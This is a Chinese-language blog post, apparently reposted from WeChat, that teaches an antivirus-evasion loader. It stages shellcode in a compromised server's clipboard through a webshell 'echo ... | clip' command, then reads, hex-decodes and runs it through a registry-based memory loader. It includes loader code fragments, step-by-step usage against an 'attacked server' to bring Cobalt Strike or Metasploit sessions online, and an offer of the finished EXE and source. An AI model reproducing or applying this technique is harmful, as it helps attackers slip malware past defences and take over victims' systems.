剪贴板分离免杀
之前发过一个使用剪贴板API函数写的免杀加载器《花里胡哨免杀之剪切板加载器》,但今天这个有点不同,是用来做分离免杀的。
正常分离免杀就是将shellcode放在远程服务器、或存在本地txt、图片等文件里。这种分离还是有特征的,访问某个ip、加载读取某个文件等。
而今天的分离思路是将shellcode写进被攻击者服务器剪贴板里,通过api函数读取剪贴板内容写入内存中。
原理
1、首先是怎么将shellcode写进剪贴板
在cmd命令行下通过clip命令可以操作剪切板,可以使用echo将shellcode写入剪切板
echo fc4883e4f0e8c00000.... | clip
剪切板能存的内容格式很多,可以是文本、图片、文件等等
这里我将shellcode转为了16进制的文本形式(就是bin文件打开然后替换空格和回车)
2、加载器实现读取剪贴板的shellcode
使用GetClipboardData函数查找CF_TEXT格式剪贴板的数据,获取数据所在的内存地址
BOOL Cb = OpenClipboard(NULL);
HANDLE hMem = GetClipboardData(CF_TEXT);
char* shellcode1 = (char*)GlobalLock(hMem);
//cout << shellcode1 << endl;
3、此时获取的数据是16进制字符串形式
fc4883e4f0e8c00000....
百度找了个源码可以实现将字符串转换成真正的shellcode
int HexDecode(char *hex, unsigned char *shellcode,int offset_list_len)
{
unsigned char* pResult = shellcode+(offset_list_len/2);
bool odd_digit = 1;
for (int i = offset_list_len-1; i >= 0; i--)
{
unsigned char ch = hex[i];
int tmp = FromHex(ch);
if (tmp == -1) {
continue;
}
if (odd_digit) {
--pResult;
*pResult = tmp;
odd_digit = 0;
}
else {
*pResult |= tmp << 4;
odd_digit = 1;
}
}
return 123;
}
4、就正常写内存加载器就行了,哪种免杀效果好用哪种
下面源码使用的注册表加载器,具体原理找之前文章
LSTATUS rsv = RegSetValueEx(HKEY_CURRENT_USER, L"test1", 0, REG_BINARY, (const unsigned char*)shellcode, len_shellcode);
DWORD cbData;
RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, NULL, &cbData);
LSTATUS rqv = RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, (LPBYTE)ptr, &cbData);
RegDeleteValue(HKEY_CURRENT_USER, L"test1");
生成exe后测试免杀效果,效果好就能一直使用了。
我个人测试64位比32位免杀效果好。
使用方法
1、将加载器上传到被攻击服务器
2、使用webshell在命令行下将shellcode写进剪切板
echo fc4883e4f0e8c00000.... | clip
这里注意shellcode格式
3、运行加载器即可
start c:usersadminClipboard.exe
具体操作可看视频
优缺点
优点是加载器本身不存在shellcode,加载器生成之后可以无限使用,它的功能主要取决于shellcode。
并且没有访问ip,读取文件的行为,就算放进沙箱检测,沙箱内的剪切板也访问不到shellcode。
缺点就是这个思路只能用于webshell上线cs或msf,不能用于钓鱼上线。
现成 EXE:星球自提
源码回复:剪贴板分离免杀
原文始发于微信公众号(XG小刚):分离免杀-剪贴板加载器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论